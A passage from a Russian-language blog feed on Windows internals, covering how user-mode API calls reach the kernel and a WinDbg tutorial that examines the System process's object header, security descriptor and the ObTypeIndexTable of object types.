endp</pre></td></tr></table></div></td></tr></tbody></table></div>Конечным результатом внутреннего исполнения функции <code class="inlinecode">WriteFile</code> в библиотеке kernel32.dll будет вызов функции <code class="inlinecode">NtWriteFile</code> с тем самым пользовательским контекстом.<br />
<br />
Есть ещё несколько библиотек пользовательского окружения, таких как ntdll.dll и win32u.dll, функции которых доступны из UserMode.<br />
Набор их функций формирует так называемое NativeAPI.<br />
<b>NativeAPI</b> это недокументированное API, и разбор прототипов его функций осуществляется энтузиастами в ручном режиме с помощью отладчиков и дизассемблеров.<br />
Главная задача этих функций - передать пользовательский контекст в ядро ОС.<br />
Делается это переключением (или точнее системным прерыванием) процессора в защищенный режим (ProtectedMode).<br />
В современных ОС и процессорах для этого используются инструкции <code class="inlinecode">SYSCALL</code> или <code class="inlinecode">SYSENTER</code> (внутри <code class="inlinecode">KiFastSystemCall</code>) (в старых ОС это системное прерывание называлось <code class="inlinecode">int 2e</code> (внутри <code class="inlinecode">KiIntSystemCall</code>))<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7442&amp;d=1649680881" rel="Lightbox" id="attachment7442" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7442&amp;thumb=1&amp;d=1649680881" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 483
Размер:	64.8 Кб
ID:	7442" style="margin: 5px" /></a><br />
Возврат контекста из ядра ОС в пользовательский режим осуществляется инструкциями <code class="inlinecode">SYSRET</code> или <code class="inlinecode">SYSEXIT</code> (внутри <code class="inlinecode">KiFastSystemCallRet</code>).<br />
<br />
После того, как процессор перешёл в защищенный режим (ProtectedMode), переданный пользовательский контекст начинает обрабатываться в ядре ОС - ntoskrnl.exe<br />
Для этого используется процедура <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntwritefile" target="_blank" title="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntwritefile">ZwWriteFile</a> (не путайте с функций <a rel="nofollow noopener noreferrer" href="http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/NtWriteFile.html" target="_blank" title="http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/NtWriteFile.html">NtWriteFile</a> из библиотеки ntdll.dll).<br />
Код API, который исполняется в ядре ОС называется KernelAPI.<br />
<b>KernelAPI</b> это недокументированное API (небольшая часть функций всё же описана в WDK, но не все).<br />
В кругах низкоуровневых программистов функции KernelAPI ещё называют сервисами (или подпрограммами системных служб).<br />
<br />
Дальше опускаться уже не будем - там только слой аппаратных абстракций (HAL) и само железо.<br />
В двух словах: HAL транслирует код в оперативной памяти таким образом, чтобы другие микроконтроллеры смогли обработать запросы от центрального процессора и предоставить ответы.<br />
Вот одна из Hal-функций, которые начиная с поздних версий Windows 10, переехали из hal.dll в ядро ОС ntoskrnl.exe<br />
<div class="codeblock"><table class="c"><thead><tr><td colspan="2" id="535227719"  class="head">C</td></tr></thead><tbody><tr class="li1"><td><div id="535227719" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="de1"><pre class="de1">NTHALAPI
BOOLEAN
HalTranslateBusAddress<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ INTERFACE_TYPE InterfaceType<span class="sy0">,</span>
&nbsp; &nbsp; _In_ ULONG BusNumber<span class="sy0">,</span>
&nbsp; &nbsp; _In_ PHYSICAL_ADDRESS BusAddress<span class="sy0">,</span>
&nbsp; &nbsp; _Inout_ PULONG AddressSpace<span class="sy0">,</span>
&nbsp; &nbsp; _Out_ PPHYSICAL_ADDRESS TranslatedAddress
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="co1">//</span>
<span class="co1">// Values for AddressSpace parameter of HalTranslateBusAddress</span>
<span class="co1">//</span>
<span class="co1">// &nbsp; &nbsp; &nbsp;0x0 &nbsp; &nbsp; &nbsp; &nbsp; - Memory space</span>
<span class="co1">// &nbsp; &nbsp; &nbsp;0x1 &nbsp; &nbsp; &nbsp; &nbsp; - Port space</span>
<span class="co1">// &nbsp; &nbsp; &nbsp;0x2 - 0x1F &nbsp;- Address spaces specific for Alpha</span>
<span class="co1">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x2 - UserMode view of memory space</span>
<span class="co1">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x3 - UserMode view of port space</span>
<span class="co1">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x4 - Dense memory space</span>
<span class="co1">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x5 - reserved</span>
<span class="co1">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x6 - UserMode view of dense memory space</span>
<span class="co1">// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x7 - 0x1F - reserved</span>
<span class="co1">//</span></pre></td></tr></table></div></td></tr></tbody></table></div>Итак, подведём итоги:<br />
1. операционная система Windows предоставляет API интерфейсы, расположенные в библиотеках DLL.<br />
2. пользовательское приложение вызывает API, реализованное в библиотеках DLL.<br />
3. большинство функций API в конечном итоге вызывают подпрограммы системных служб (сервисы) в ntoskrnl.exe<br />
<br />
Все менеджеры, утилиты, программы и т.д. используют API.<br />
API не может использовать менеджеры и утилиты в качестве запуска службы и прочего.<br />
API это программный интерфейс, выполняющий определенные команды, которыми пользуются программисты при разработке приложений.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7497.html</guid>
		</item>
		<item>
			<title>Объекты операционной системы. Часть 4: Отладчик уровня ядра WinDbg</title>
			<link>https://www.cyberforum.ru/blogs/172954/7394.html</link>
			<pubDate>Fri, 24 Dec 2021 16:41:24 GMT</pubDate>
			<description>Объекты операционной системы. Часть 1: Общие сведения...</description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog7337.html">Объекты операционной системы. Часть 1: Общие сведения</a><br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7338.html">Объекты операционной системы. Часть 2: Объект ядра</a><br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7372.html">Объекты операционной системы. Часть 3: Уровень целостности</a><br />
<br />
В этой части я решил показать самые интересные, на мой взгляд, возможности ядерного отладчика WinDbg.<br />
Но сначала немного слов о том, как его установить и как им пользоваться.<br />
В этом блоге я буду показывать работу отладчика WinDbg сразу для двух операционных: Windows 7 (x64) и Windows 10/11 (x64).<br />
Почему две ОС? По двум причинам:<br />
1. Windows 7 всё ещё остаётся актуальной;<br />
2. Работа ядер этих ОС имеет большие различия, которые несомненно вызывают интерес, и которые мы увидим на примерах.<br />
<br />
Итак, начнём с Windows 7.<br />
Здесь всё просто, идём на MSDN, качаем <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk#download-icon-step-3-install-windows-11-wdk" target="_blank" title="https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk#download-icon-step-3-install-windows-11-wdk">Windows 11 WDK</a> (<a rel="nofollow noopener noreferrer" href="https://go.microsoft.com/fwlink/?linkid=2166289" target="_blank" title="https://go.microsoft.com/fwlink/?linkid=2166289">прямая ссылка на online установщик</a>) и устанавливаем по умолчанию в папку Program Files (x86).<br />
После установки отладчик WinDbg будет располагаться по пути: <code class="inlinecode">Program Files (x86)\Windows Kits\10\Debuggers\x64</code><br />
Попробуйте запустить <b>windbg.exe</b>, если вылезет вот такая ошибка<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7328&amp;d=1640331562" rel="Lightbox" id="attachment7328" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7328&amp;thumb=1&amp;d=1640331562" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 0.png
Просмотров: 374
Размер:	20.9 Кб
ID:	7328" style="margin: 5px" /></a><br />
то скачайте эту библиотеку <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7329&amp;d=1640331644" >api-ms-win-core-sysinfo-l1-2-0.rar</a> и положите в туже папку, где находится windbg.exe, ещё раз проверьте запускается ли отладчик.<br />
Теперь, чтобы воспользоваться именно KernelMode отладкой необходимо выполнить три шага:<br />
1. В BIOS отключите опцию SecureBoot (должно быть Disabled), если такой опции в BIOS нет, то переходите ко второму шагу.<br />
2. Запустите командную строку (cmd.exe) от имени администратора и введите следующую команду <code class="inlinecode">bcdedit -debug on</code>, должна быть надпись об успешном выполнении команды.<br />
3. Перезагрузите компьютер.<br />
Запустите windbg.exe от имени администратора. В меню нажмите File -&gt; Kernel Degug... -&gt; выберите Local и нажмите OK<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7330&amp;d=1640331842" rel="Lightbox" id="attachment7330" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7330&amp;thumb=1&amp;d=1640331842" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 0.5.png
Просмотров: 348
Размер:	15.7 Кб
ID:	7330" style="margin: 5px" /></a><br />
Дождитесь окончания загрузки символов (в командной строке должна появиться надпись <code class="inlinecode">lkd&gt;</code>, что означает, что отладчик готов к принятию команд).<br />
<br />
Теперь установка и настройка для Windows 10/11.<br />
В этих ОС можно выбрать какой отладчик устанавливать:<br />
- тот же, что и описанный в Windows 7 из пакета Windows 11 WDK;<br />
- либо из магазина Microsoft Store <a rel="nofollow noopener noreferrer" href="https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86" target="_blank" title="https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86">WinDbg Preview</a>, который также можно найти и в самом магазине.<br />
Лично я предпочитаю WinDbg Preview, у него неплохой интерактивный GUI, да и сам интерфейс куда более приятный и современный.<br />
Настройка аналогична трем шагам из Windows 7: выключить SecureBoot, включить debug on и перезагрузить компьютер.<br />
Из Пуска запустите WinDbg Preview от имени администратора. В меню нажмите File -&gt; Attach to kernel -&gt; выберите Local и нажмите OK<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7327&amp;d=1640294500" rel="Lightbox" id="attachment7327" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7327&amp;thumb=1&amp;d=1640294500" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 400
Размер:	44.9 Кб
ID:	7327" style="margin: 5px" /></a><br />
Дождитесь окончания загрузки символов (в командной строке должна появиться надпись <code class="inlinecode">lkd&gt;</code>, что означает, что отладчик готов к принятию команд).<br />
<br />
Так как отладчик сейчас работает в режиме ядра ОС, то эксперименты будем ставить над самым главным процессом - ядром операционной системы <b>System</b>.<br />
Итак, первой командой, которой мы воспользуемся, это <b>!process</b><br />
Она выводит базовую информацию о процессе: сессию в которой он работает, идентификатор, родительский процесс, количество открытых дескрипторов этим процессом.<br />
Давайте введем команду <code class="inlinecode">!process 0 0 System</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7331&amp;d=1640333415" rel="Lightbox" id="attachment7331" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7331&amp;thumb=1&amp;d=1640333415" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 425
Размер:	64.0 Кб
ID:	7331" style="margin: 5px" /></a><br />
Отлично! Теперь у нас есть значение объекта процесса System <b>PROCESS fffffa80048d8040</b><br />
Для того, чтобы понять что находится в этом объекте, необходимо получить заголовок этого объекта (ObjectHeader).<br />
В отладчике WinDbg для этого предусмотрена команда <b>!object</b><br />
Соответственно введём эту команду и значение того объекта, у которого требуется получить заголовок <code class="inlinecode">!object fffffa80048d8040</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7332&amp;d=1640334487" rel="Lightbox" id="attachment7332" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7332&amp;thumb=1&amp;d=1640334487" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 414
Размер:	60.6 Кб
ID:	7332" style="margin: 5px" /></a><br />
Теперь у нас есть значение заголовка объекта процесса System <b>ObjectHeader: fffffa80048d8010 (new version)</b><br />
Зная это значение, можно посмотреть что содержится в структуре <a rel="nofollow noopener noreferrer" href="https://www.nirsoft.net/kernel_struct/vista/OBJECT_HEADER.html" target="_blank" title="https://www.nirsoft.net/kernel_struct/vista/OBJECT_HEADER.html">_OBJECT_HEADER</a><br />
Воспользуемся следующей командой, которой передадим значение заголовка объекта <code class="inlinecode">dt nt!_object_header fffffa80048d8010</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7334&amp;d=1640335230" rel="Lightbox" id="attachment7334" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7334&amp;thumb=1&amp;d=1640335230" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 432
Размер:	45.6 Кб
ID:	7334" style="margin: 5px" /></a><br />
Самыми интересными полями этой структуры являются <b>TypeIndex</b> и <b>SecurityDescriptor</b>.<br />
Начнём с <b>SecurityDescriptor : 0xfffff8a0`0000464b</b>.<br />
Это указатель на структуру, содержащую уже знакомые нам ACL (SACL и DACL), а также их ACE, SID группы и владельца и их флаги.<br />
Введем специальную команду, чтобы отобразить содержимое структуры, находящейся по значению SecurityDescriptor: <code class="inlinecode">!sd 0xfffff8a0`0000464b &amp; -10</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7335&amp;d=1640337096" rel="Lightbox" id="attachment7335" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7335&amp;thumb=1&amp;d=1640337096" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.png
Просмотров: 449
Размер:	84.5 Кб
ID:	7335" style="margin: 5px" /></a><br />
Заметьте, что KernelExplorer, кроме вывода этой информации, также выводит более детализированную информацию, в частности по структуре ACTRL_ALIST.<br />
Данная структура является недокументированной, и собирать её содержимое достаточно сложно, видимо в Microsoft не стали заморачиваться, а ведь там есть очень ценная и уникальная информация по правам доступа каждого ACE (ACTRL_ACCESS_ENTRY)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7336&amp;d=1640337610" rel="Lightbox" id="attachment7336" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7336&amp;thumb=1&amp;d=1640337610" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.5.png
Просмотров: 448
Размер:	36.2 Кб
ID:	7336" style="margin: 5px" /></a><br />
Теперь давайте разберемся, что такое <b>TypeIndex : 0x7</b>.<br />
TypeIndex это индекс указателя на структуру <a rel="nofollow noopener noreferrer" href="https://www.nirsoft.net/kernel_struct/vista/OBJECT_TYPE.html" target="_blank" title="https://www.nirsoft.net/kernel_struct/vista/OBJECT_TYPE.html">_OBJECT_TYPE</a> в таблице ObTypeIndexTable.<br />
Давайте посмотрим что это за таблица ObTypeIndexTable, находящаяся в ядре ОС. Для этого введём команду <code class="inlinecode">dps nt!ObTypeIndexTable</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7337&amp;d=1640339500" rel="Lightbox" id="attachment7337" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7337&amp;thumb=1&amp;d=1640339500" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 6.png
Просмотров: 400
Размер:	64.7 Кб
ID:	7337" style="margin: 5px" /></a><br />
Так как эксперименты проводятся на 64 битной ОС, соответственно значения являются 8-ми байтовыми.<br />
Обратите внимание: второе значение является ошибочным 00000000<b>BAD0B0B0</b>.<br />
Что это такое? Это заплатка (patchGuard) от эксплойта вида<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7339&amp;d=1640346406" rel="Lightbox" id="attachment7339" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7339&amp;thumb=1&amp;d=1640346406" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 8.png
Просмотров: 440
Размер:	13.9 Кб
ID:	7339" style="margin: 5px" /></a><br />
В Windows 7 существовал способ, позволяющий через shellcode получить контроль на объектами ядра в таблице ObTypeIndexTable.<br />
После patchGuard все обращения ко второму значению приводили к ошибке вида BAD ObjectHeader.<br />
В Windows 8.1 исправили этот баг непосредственно в коде ядра, тем самым представив метаданные следующим образом<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7340&amp;d=1640346732" rel="Lightbox" id="attachment7340" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7340&amp;thumb=1&amp;d=1640346732" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 9.png
Просмотров: 426
Размер:	9.9 Кб
ID:	7340" style="margin: 5px" /></a><br />
Но давайте вернёмся к TypeIndex и его значению 0x7.<br />
Начав отсчитывать от первого нулевого значения (нулевой индекс) до седьмого индекса (восьмого значения) в таблице ObTypeIndexTable, мы попадаем на значение <b>fffffa80048769b0</b>. Пока запомним его.<br />
Для того, чтобы посмотреть содержимое структуры _OBJECT_TYPE воспользуемся специальной командой, в которой происходит арифметическое действие над таблицей с учетом индекса 7 и размерности значения, находящегося по этому индексу (8 байт)<br />
<code class="inlinecode">dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + (7 * 8))</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7338&amp;d=1640339500" rel="Lightbox" id="attachment7338" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7338&amp;thumb=1&amp;d=1640339500" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 7.png
Просмотров: 380
Размер:	63.9 Кб
ID:	7338" style="margin: 5px" /></a><br />
Первым делом посмотрите на поле <b>Name : _UNICODE_STRING &quot;Process&quot;</b>.<br />
Вернитесь в скриншоту, где мы использовали команду <b>!object</b> - поле <b>Type: (fffffa80048769b0) Process</b>: данный объект ядра является <b>Process</b>.<br />
А теперь посмотрите на поле <b>TypeList : _LIST_ENTRY (0xfffffa80`048769b0)</b>. Точно такое же значение, которое мы запомнили чуть раньше.<br />
Поздравляю, мы получили валидный индекс процесса System (ядра ОС) в таблице ObTypeIndexTable.<br />
<br />
Теперь вернёмся к Windows 10/11 и попробуем определить индекс в таблице ObTypeIndexTable. Вот что мы получим в итоге<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7343&amp;d=1640360967" rel="Lightbox" id="attachment7343" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7343&amp;thumb=1&amp;d=1640360967" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 10.png
Просмотров: 462
Размер:	23.6 Кб
ID:	7343" style="margin: 5px" /></a><br />
TypeIndex в Windows 10/11 зашифрован.<br />
Кроме того, в Windows 10 21H2 диапазон индексов лежит в промежутке [0...68]<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="861453874"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="861453874" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
</pre></td><td class="de1"><pre class="de1">TypeName &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | TypeIndex
---------------------------------|----------
<span class="br0">&#40;</span>null<span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">1</span>
Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">2</span>
Directory &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">3</span>
SymbolicLink &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">4</span>
Token &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">5</span>
Job &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">6</span>
Process &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">7</span>
Thread &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">8</span>
Partition &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">9</span>
UserApcReserve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">10</span>
IoCompletionReserve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">11</span>
ActivityReference &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">12</span>
PsSiloContextPaged &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">13</span>
PsSiloContextNonPaged &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">14</span>
DebugObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">15</span>
Event &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">16</span>
Mutant &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">17</span>
Callback &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">18</span>
Semaphore &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">19</span>
Timer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">20</span>
IRTimer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">21</span>
Profile &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">22</span>
KeyedEvent &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">23</span>
WindowStation &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">24</span>
Desktop &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">25</span>
Composition &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">26</span>
RawInputManager &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">27</span>
CoreMessaging &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">28</span>
ActivationObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">29</span>
TpWorkerFactory &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">30</span>
Adapter &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">31</span>
Controller &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">32</span>
Device &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">33</span>
Driver &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">34</span>
IoCompletion &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">35</span>
WaitCompletionPacket &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">36</span>
File &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">37</span>
TmTm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">38</span>
TmTx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">39</span>
TmRm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">40</span>
TmEn &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">41</span>
Section &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">42</span>
Session &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">43</span>
Key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">44</span>
RegistryTransaction &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">45</span>
ALPC Port &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">46</span>
EnergyTracker &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">47</span>
PowerRequest &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">48</span>
WmiGuid &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">49</span>
EtwRegistration &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">50</span>
EtwSessionDemuxEntry &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">51</span>
